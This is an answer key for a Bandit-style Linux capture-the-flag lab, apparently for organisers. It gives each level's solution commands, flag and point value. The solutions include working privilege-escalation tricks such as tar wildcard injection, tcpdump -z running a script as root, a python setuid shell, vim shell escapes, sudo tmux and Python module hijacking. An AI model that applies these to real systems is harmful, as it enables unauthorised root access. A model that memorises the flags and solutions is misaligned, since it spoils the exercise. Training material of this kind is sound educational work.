Bandit Solutions

```
For all questions, the connection instructions are: ssh banditXX@<IP> -p 2222
Also, the password/flag changes when you run the generate_passwords.py script. Keep that in mind when you deploy
the system to keep track of the passwords in the .env file and enter that into CTFd or other framework.
```

Question	Solution	Username	Password /Flag	Points /Difficulty
For the first question in the Bandit set, ssh to <hostname> with the credentials `bandit0:bandit0` and the find the password for the bandit1.	1. `cat password.txt`	bandit0	BT {MgknPYg3MB}	10
Can you find the password for bandit2 in the mess of directories.	1. `find . -type f` 2. `cat flag7/.password9/.hidden.password.txt`	bandit1	BT {7pR2HyPwMD}	20
The password for bandit3 is in the file called `-` .	1. `cat ./-`	bandit2	BT {M5LFvFrLUO}	20
Can you find the password for bandit4 in the file called `data` .	1. `strings data`	bandit3	BT {cWjklqs5ez}	20
Encoding and encryption are not the same.	1. `cat encoded.encrypted.txt | base64 -d` 2. ROT9	bandit4	BT {rsDI6p2Zs6}	30
Hexdumps and no file extensions? Are you having fun yet?	1. `xxd -r whatisthis > archive.gz` 2. `gunzip archive.gz` 3. `tar -xzvf archive` 4. `cat matrix/robots.txt`	bandit5	BT {clH3hR06FN}	40
Are you aware of your environment?	1. `env | grep bandit`	bandit6	BT {cnS88bvstz}	30
Are you aware of other's environments?	1. `ps aux` (find the PID with the loop) 2. `cat /proc/<PID>/environ` (find the bandit8_password)	bandit7	BT {YSoui4p5WU}	50
The password for bandit9 is in regex.txt in a line with the following conditions: • the line begins with a $ • followed by a 4 digit number • followed by a `:` • followed by 2 spaces • followed by 10 alphanumeric characters that represent the password	1. `grep -E '\$[0-9]{4}:  [a-zA-Z0-9]{10}$' regex.txt`	bandit8	BT {UDZQPsCC2l}	60
That's not a gecko. A GECOS.	1. `cat /etc/passwd` (find the hint to look in bandit10's home directory.) 2. Find the note that says they use openssl aes-256-cbc cipher with the passcode trinity. 3. `openssl aes-256-cbc -a -d -in /home/bandit10/encrypted.txt -out password.txt -pass pass:trinity` 4. `cat password.txt`	bandit9	BT {kOrqSfhAhZ}	70
Those who don't know history are doomed to repeat it.	1. `history` or `cat /root/history`	bandit10	BT {xci7finzNd}	30
Submit your current user's password plus a random three digit pin to a network process listening at `bandit-11-server-ctr:3000`	1. `echo <password>276 | nc -v bandit-11-server-ctr 3000`	bandit11	BT {q5WqejG0Z6}	60

✅ Submit your current user's password to another host within your network that is listening on port 3000 (use the information from the eth1 interface to determine the network space).	1. Search for the host (using netcat, ping, nmap, etc) 2. `openssl s_client -connect 192.168.30.30:3000`	bandit12	BT {UCtV4qhRSP}	60
✅ The password for bandit14 is in the bandit13's home directory.	1. Minimize the screen and connect 2. Type `v` when the `more` screen appears with the % at the bottom 3. The vim screen will appear and execute the following commands `set shell=/bin/bash` 4. `:shell`	bandit13	BT {udz3VOuiRL}	100
✅ Follow the instructions from the web server at `bandit-14-server-ctr:80` to get bandit15's password.	1. `curl -X POST -H "Content-Type: multipart/form-data" -d "geekseek 2023" http://bandit-14-server-ctr:8000/geekseek.doc`	bandit14	BT {0I03lgtTby}	70
✅ The password for bandit16 is in a file that is owned by the user `bandit17` , group `bandit16` and of the size `4140` bytes.	1. `find / -user bandit17 -group bandit16 -size 4140c 2>/dev/null` 2. `cat /usr/local/src/42bbf266-c510-43b6-98fb-295b3014a4d9`	bandit15	BT {UqeTQ5RMPy}	40
✅ Do you know where I can find tmux.	1. `tmux -S /var/tmux/shared-session attach -t 0` 2. `cat /etc/geekseek/bandit17/password`	bandit16	BT {hQr9mAo7bk}	60
✅ A little suspicious that the backup file's date keeps changing.	1. `cd /var/www/wordpress` 2. `echo "cat /etc/geekseek/bandit18/password > /tmp/a" > cmd.sh` 3. `touch -- '--checkpoint=1'` 4. `touch -- '--checkpoint-action=exec=bash cmd.sh'` 5. Wait 1 minute and `cat /tmp/a`	bandit17	BT {iwZXaydWx8}	100

✅ `bandit19` regularly connects to an FTP server at `bandit-18-server-ctr` to store their system creds. Can you gain access to it?	1. `tcpdump port 21`
	2. `ftp bandit-18-server-ctr`
	  a. USER = bandit19
	  b. PASSWORD = L3TMEINFTPASSWORD123
	3. `get my-system-creds.txt`
	4. `cat my-system-creds.txt`
		bandit18	BT {nZLK41IZsU}	70

✅ Wow, you're gitting pretty good.	1. `git checkout dev` 2. `git checkout d07a4` 3. `cat main.py`	bandit19	BT {pX822TXtYH}	40
✅ Check your privilege.	1. `sudo -l` 2. `echo 'cat /etc/geekseek/bandit21/password' > /tmp/a` 3. `chmod +x /tmp/a` 4. `sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/a -Z root` 5. Trigger any traffic on the interface specified (in this case `-i lo` means localhost)	bandit20	BT {4pqVOs2VqE}	100
✅ There is something distinctly different between the main.py for this question and the previous question.	1. `/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'` 2. `cat /etc/geekseek/bandit22/password`	bandit21	BT {KWFf6RiIwL}	80
✅ Don't spy on other processes.	1. `chmod +x pspy; ./pspy` 2. `echo "This is my world. My world!" > /opt/seed` 3. Wait a minute and `cat /home/bandit22/bandit23-password`	bandit22	BT {w6LxhH1N4T}	70

✅ The password for bandit24 is at /var/password.txt. Can you read it?	Two ways: 1. `vim` 2. `set shell=/bin/bash` 3. `:shell` 1. `cat /etc/lshell.conf` 2. Notice you can execute tmux as sudo 3. `sudo tmux`	bandit23	BT {V6lux0jQbo}	110

✅ Congrats on getting to the final question! Use all of your knowledge from the previous questions to answer this one. Goodbye. * click *	1. `sudo -l`
	2. `sudo -u bandit25 /home/bandit24 /generate_password.py`
	3. Create one of the following files (click.py, secrets.py, string.py) with the following content:
	
	`with open("/etc/geekseek/bandit24 /password", "r") as f:`
	`  print(f.read())`
	
	`4. sudo -u bandit25 /home/bandit24 /generate_password.py`
		bandit24	BT {CjiAtV3JJ5}	150

✅		bandit25	N/A	N/A